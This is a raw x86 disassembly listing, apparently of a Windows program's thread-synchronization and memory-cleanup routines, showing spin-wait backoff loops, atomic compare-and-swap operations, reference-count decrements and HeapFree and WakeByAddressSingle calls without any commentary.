cmp edi, ecx
je 0x4111fa
cmp esi, 6
mov ecx, 6
mov eax, 1
cmovb ecx, esi
imul ecx, ecx
test esi, esi
je 0x4110f3
nop dword [eax + eax]
pause
dec ecx
jne 0x4111c0
jmp 0x4110f0
mov ebx, dword [esp + 0x24]
cmp esi, 7
jae 0x4110e6
test esi, esi
je 0x4110f0
mov eax, esi
imul eax, esi
nop word cs:[eax + eax]
nop
pause
dec eax
jne 0x4111f0
jmp 0x4110f0
test edx, eax
jne 0x411453
mov edi, dword [esp + 0x188]
cmp edi, 0x3b9aca00
je 0x411273
mov eax, dword [esp + 0x180]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x184]
mov dword [esp + 0xc], eax
call fcn.00490ab0
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x30]
mov esi, edx
xor edx, dword [esp + 0xc]
mov dword [esp + 0x40], eax
xor ebx, ebx
xor eax, ecx
or eax, edx
mov eax, 0xff
setne bl
cmp dword [esp + 0x40], ecx
sbb esi, dword [esp + 0xc]
cmovb ebx, eax
cmp dword [esp + 0x10], edi
mov eax, 0
sbb eax, eax
test bl, bl
cmovne eax, ebx
mov ebx, dword [esp + 0x24]
cmp al, 2
jb 0x411a46
mov eax, dword [0x776190]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov eax, dword [eax + 0x3c]
cmp eax, 1
jne 0x411347
mov eax, dword [0x776190]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov esi, dword [eax + 0x40]
mov dword [eax + 0x40], 0
test esi, esi
je 0x4113ae
lea eax, [esp + 0x7f0]
lea ecx, [esp + 0x180]
mov dword [esp + 0x80], esi
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
lea edx, [esp + 0x80]
mov dword [esp + 0x3a0], eax
mov dword [esp + 0x3a4], ebx
mov dword [esp + 0x3a8], ecx
lea ecx, [esp + 0x3a0]
call fcn.00402ef0
mov eax, dword [0x776190]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
mov eax, dword [ecx + 0x40]
mov dword [ecx + 0x40], esi
test eax, eax
mov dword [esp + 0x3a0], eax
je 0x4110e2
lock dec dword [eax]
jne 0x4110e2
lea ecx, [esp + 0x3a0]
call fcn.0048efa0
jmp 0x4110e2
cmp eax, 2
jne 0x41140c
call fcn.004e5dd0
lea edx, [esp + 0x7f0]
lea ecx, [esp + 0x180]
mov esi, eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x3a0], edx
mov dword [esp + 0x3a4], ebx
mov dword [esp + 0x3a8], ecx
lea ecx, [esp + 0x3a0]
lea edx, [esp + 0x80]
call fcn.00402ef0
lock dec dword [esi]
jne 0x4110e2
lea ecx, [esp + 0x80]
call fcn.0048efa0
jmp 0x4110e2
call fcn.004e5dd0
lea edx, [esp + 0x7f0]
lea ecx, [esp + 0x180]
mov esi, eax
mov dword [esp + 0x108], eax
mov dword [esp + 0x3a0], edx
mov dword [esp + 0x3a4], ebx
mov dword [esp + 0x3a8], ecx
lea ecx, [esp + 0x3a0]
lea edx, [esp + 0x108]
call fcn.00402ef0
lock dec dword [esi]
jne 0x4110e2
lea ecx, [esp + 0x108]
call fcn.0048efa0
jmp 0x4110e2
call fcn.004e3760
jmp 0x411291
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x30]
lea eax, [eax + ecx*4]
mov dword [esp + 0x7f0], eax
add edx, dword [ebx + 0xc4]
mov dword [esp + 0x7f4], edx
mov edi, dword [eax]
mov esi, dword [eax + 4]
mov dword [eax + 8], edx
mov ecx, dword [esp + 0xfc]
call fcn.00403930
mov eax, edi
cmp al, 5
jne 0x411551
mov word [esp + 0xd8], 0x105
mov esi, dword [esp + 0x48]
mov al, 5
jmp 0x411799
cmp dword [esp + 0xc], 0x1e
mov dword [esp + 0x30], edx
jne 0x411498
mov eax, dword [edx]
test eax, eax
je 0x4115f4
and ecx, 0xfffffffe
mov esi, edx
xor edx, edx
mov edi, ecx
mov ecx, dword [eax]
mov dword [ebx + 4], eax
test ecx, ecx
setne dl
lea ecx, [edi + edx + 2]
mov edx, esi
mov dword [ebx], ecx
mov eax, dword [esp + 0xc]
mov dword [esp + 0x7f8], edx
mov dword [esp + 0x7fc], eax
lea eax, [eax + eax*2]
lea ebx, [edx + eax*4 + 4]
mov eax, dword [edx + eax*4 + 0xc]
test al, 1
jne 0x411507
mov esi, 1
xor ecx, ecx
xor edi, edi
mov dword [esp + 0x10], ebx
jmp 0x4114e7
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, ebx
mov edx, dword [esp + 0x30]
mov ebx, dword [esp + 0x10]
mov eax, dword [ebx + 8]
add ecx, esi
inc edi
add esi, 2
test al, 1
jne 0x411507
cmp edi, 7
jae 0x4114c8
test edi, edi
je 0x4114da
mov eax, ecx
nop word cs:[eax + eax]
nop dword [eax]
pause
dec eax
jne 0x411500
jmp 0x4114da
mov eax, dword [esp + 0xc]
mov edi, dword [ebx + 4]
mov esi, dword [ebx]
lea ecx, [edx + 4]
lea edx, [eax + 1]
mov dword [esp + 0x40], edi
cmp edx, 0x1f
jne 0x411568
xor edx, edx
jmp 0x411529
inc edx
cmp edx, 0x1e
je 0x411582
lea eax, [edx + edx*2]
mov ebx, dword [ecx + eax*4 + 8]
test bl, 2
jne 0x411523
lea edi, [ecx + eax*4 + 8]
mov eax, dword [edi]
nop dword [eax + eax]
mov ebx, eax
or ebx, 4
lock cmpxchg dword [edi], ebx
jne 0x411540
test al, 2
jne 0x411523
jmp 0x411594
mov dword [esp + 0xdc], esi
mov esi, dword [esp + 0x48]
mov dword [esp + 0xd8], eax
jmp 0x411799
mov eax, dword [ebx + 8]
mov edi, eax
or edi, 2
lock cmpxchg dword [ebx + 8], edi
jne 0x41156b
test al, 4
je 0x411594
cmp dword [esp + 0xc], 0x1c
jbe 0x4115ae
push dword [esp + 0x30]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
cmp al, 5
jne 0x4115d1
mov word [esp + 0xd8], 0x105
mov al, 5
jmp 0x4115e3
inc edx
cmp edx, 0x1e
je 0x411582
lea eax, [edx + edx*2]
mov ebx, dword [ecx + eax*4 + 8]
test bl, 2
jne 0x4115a8
lea edi, [ecx + eax*4 + 8]
mov eax, dword [edi]
mov ebx, eax
or ebx, 4
lock cmpxchg dword [edi], ebx
jne 0x4115c0
test al, 2
jne 0x4115a8
jmp 0x411594
mov ecx, dword [esp + 0x40]
mov dword [esp + 0xd8], eax
mov dword [esp + 0xdc], ecx
mov esi, dword [esp + 0x48]
mov ecx, dword [esp + 0x2c]
mov ebx, dword [esp + 0x24]
jmp 0x41179d
mov edi, 1
xor esi, esi
mov dword [esp + 0x10], 0
jmp 0x41162d
mov dword [esp + 0x40], edi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, edi
mov edi, dword [esp + 0x40]
mov edx, dword [esp + 0x30]
mov eax, dword [edx]
add dword [esp + 0x10], edi
inc esi
add edi, 2
test eax, eax
jne 0x41147d
cmp esi, 7
jae 0x411605
test esi, esi
je 0x41161b
mov eax, dword [esp + 0x10]
nop word [eax + eax]
pause
dec eax
jne 0x411640
jmp 0x41161b
mov ecx, ebx
call fcn.004e59e0
mov eax, dword [ebx + 0xc]
test eax, eax
jne 0x410f53
mov ebx, dword [esp + 0x24]
cmp byte [ebx + 0x34], 0
je 0x411689
mov word [esp + 0xd8], 0x105
xor eax, eax
xchg byte [ebx], al
mov esi, dword [esp + 0x48]
cmp al, 2
jne 0x411791
push ebx
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jmp 0x411791
mov eax, dword [0x776190]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov eax, dword [eax + 0x3c]
cmp eax, 1
jne 0x411889
mov eax, dword [0x776190]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov esi, dword [eax + 0x40]
mov dword [eax + 0x40], 0
test esi, esi
je 0x411979
lea eax, [esp + 0x7f0]
lea ecx, [esp + 0x3a0]
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
lea edx, [esp + 0x180]
mov dword [esp + 0x180], eax
mov dword [esp + 0x184], ebx
mov dword [esp + 0x188], ecx
mov dword [esp + 0x18c], ebx
lea ecx, [esp + 0x80]
push esi
call fcn.00402270
add esp, 4
mov eax, dword [0x776190]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
mov eax, dword [ecx + 0x40]
mov dword [ecx + 0x40], esi
test eax, eax
mov dword [esp + 0x180], eax
je 0x411754
lock dec dword [eax]
jne 0x411754
lea ecx, [esp + 0x180]
call fcn.0048efa0
mov ecx, dword [esp + 0x84]
mov eax, dword [esp + 0x80]
mov esi, dword [esp + 0x48]
mov edx, ecx
shld ecx, eax, 0x18
shr edx, 8
cmp al, 6
je 0x411bbc
shld edx, ecx, 8
shl ecx, 8
movzx eax, al
or eax, ecx
mov dword [esp + 0xdc], edx
mov dword [esp + 0xd8], eax
movzx eax, byte [esp + 0xd8]
mov ecx, dword [esp + 0x2c]
cmp al, 5
je 0x411a55
mov eax, dword [esp + 0xd8]
cmp al, 4
je 0x410bd2
movzx ecx, al
cmp ecx, 5
mov ecx, dword [esp + 0x2c]
je 0x411a55
mov ecx, dword [esp + 0xdc]
mov dword [esp + 0x3a0], eax
lea eax, [esp + 0x3a0]
mov dword [esp + 0x7f0], 0x71b72c
mov dword [esp + 0x7f4], 2
mov dword [esp + 0x800], 0
mov dword [esp + 0x180], eax
lea eax, [esp + 0x180]
mov dword [esp + 0x184], fcn.00485e00
mov dword [esp + 0x7f8], eax
mov dword [esp + 0x7fc], 1
mov dword [esp + 0x3a4], ecx
lea ecx, [esp + 0x7f0]
call fcn.004863c0
cmp byte [esp + 0x3a0], 3
jne 0x410bce
mov esi, dword [esp + 0x3a4]
mov ebx, dword [esi + 4]
mov edi, dword [esi]
mov eax, dword [ebx]
test eax, eax
je 0x41185e
push edi
call eax
add esp, 4
cmp dword [ebx + 4], 0
je 0x410bb7
cmp dword [ebx + 8], 9
jb 0x410ba8
mov edi, dword [edi - 4]
jmp 0x410ba8
mov word [esp + 0xd8], 0x105
jmp 0x411954
cmp eax, 2
jne 0x4119f0
call fcn.004e5dd0
mov esi, eax
lea edx, [esp + 0x7f0]
lea ecx, [esp + 0x3a0]
mov dword [esp + 0x80], eax
mov dword [esp + 0x180], edx
mov dword [esp + 0x184], ebx
mov dword [esp + 0x188], ecx
mov dword [esp + 0x18c], ebx
lea ecx, [esp + 0xd8]
lea edx, [esp + 0x180]
push esi
call fcn.00402270
add esp, 4
lock dec dword [esi]
mov esi, dword [esp + 0x48]
jne 0x411791
lea ecx, [esp + 0x80]
call fcn.0048efa0
jmp 0x411791
movzx eax, byte [ecx + 8]
test al, al
je 0x4119fa
movzx ebx, byte [ecx]
cmp bl, 5
je 0x40d734
movzx esi, byte [ecx + 7]
movzx eax, word [ecx + 5]
mov edi, dword [ecx + 1]
shl esi, 0x10
or esi, eax
push ecx
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, bl
mov ebx, dword [esp + 0x24]
shld esi, edi, 8
shl edi, 8
or eax, edi
mov dword [esp + 0xdc], esi
mov dword [esp + 0xd8], eax
mov eax, dword [esp + 0x180]
lock dec dword [eax]
mov esi, dword [esp + 0x48]
jne 0x411791
lea ecx, [esp + 0x180]
call fcn.0048efa0
jmp 0x411791
call fcn.004e5dd0
mov esi, eax
lea edx, [esp + 0x7f0]
lea ecx, [esp + 0x3a0]
mov dword [esp + 0x108], eax
mov dword [esp + 0x180], edx
mov dword [esp + 0x184], ebx
mov dword [esp + 0x188], ecx
mov dword [esp + 0x18c], ebx
lea ecx, [esp + 0x80]
lea edx, [esp + 0x180]
push esi
call fcn.00402270
add esp, 4
lock dec dword [esi]
mov esi, dword [esp + 0x48]
jne 0x4119dd
lea ecx, [esp + 0x108]
call fcn.0048efa0
mov ecx, dword [esp + 0x84]
mov eax, dword [esp + 0x80]
jmp 0x411766
call fcn.004e3760
jmp 0x4116a7
mov edi, 1
xor ebx, ebx
xor esi, esi
mov dword [esp + 0xc], ecx
jmp 0x411a25
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, dword [esp + 0xc]
movzx eax, byte [ecx + 8]
add ebx, edi
inc esi
add edi, 2
test al, al
jne 0x41190b
cmp esi, 7
jae 0x411a09
test esi, esi
je 0x411a13
mov eax, ebx
pause
dec eax
jne 0x411a30
jmp 0x411a13
mov word [esp + 0xd8], 5
jmp 0x4115a4
mov word [esp + 0xd8], 5
jmp 0x41145d
mov byte [ecx], 4
lea ecx, [esp + 0x5d0]
call fcn.00404d20
mov ecx, dword [esp + 0x18]
mov edx, ebx
call fcn.004040c0
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x14]
call fcn.00403fb0
mov eax, dword [esp + 0x148]
lock dec dword [eax]
jne 0x411a9b
mov ecx, dword [esp + 0x148]
mov edx, dword [esp + 0x14c]
call fcn.0043db30
lea ecx, [esp + 0xa8]
call fcn.00404df0
cmp dword [esp + 0x68], 0
je 0x411ac0
push dword [esp + 0x1c]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x54], 0
je 0x411ad9
push dword [esp + 0x4c]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x124], 0
je 0x411af5
push dword [esp + 0x7c]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [esp + 0x58]
call fcn.00404d20
cmp dword [esp + 0x128], 0
jne 0x40fb71
jmp 0x40fb83
cmp dword [esp + 0x14], 0
mov edi, eax
je 0x411b2c
push dword [esp + 0x28]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor ebx, ebx
cmp dword [esp + 0x30], 0
jne 0x40f9ea
jmp 0x40f9fc
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
jmp 0x40fa7f
cmp dword [esp + 0x28], 0
mov ecx, dword [esp + 0x7f1]
mov edx, dword [esp + 0x7f4]
mov esi, dword [esp + 0x2c]
mov dword [esi + 4], edx
mov dword [esi + 1], ecx
mov byte [esi], al
je 0x411b82
push dword [esp + 0x18]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x411b98
push dword [esp + 0xc]
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [esp + 0x180]
call fcn.00404d90
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
cmp dword [esp + 0x68], 0
jne 0x40fab0
jmp 0x40fac3
call fcn.004e5dd0
ud2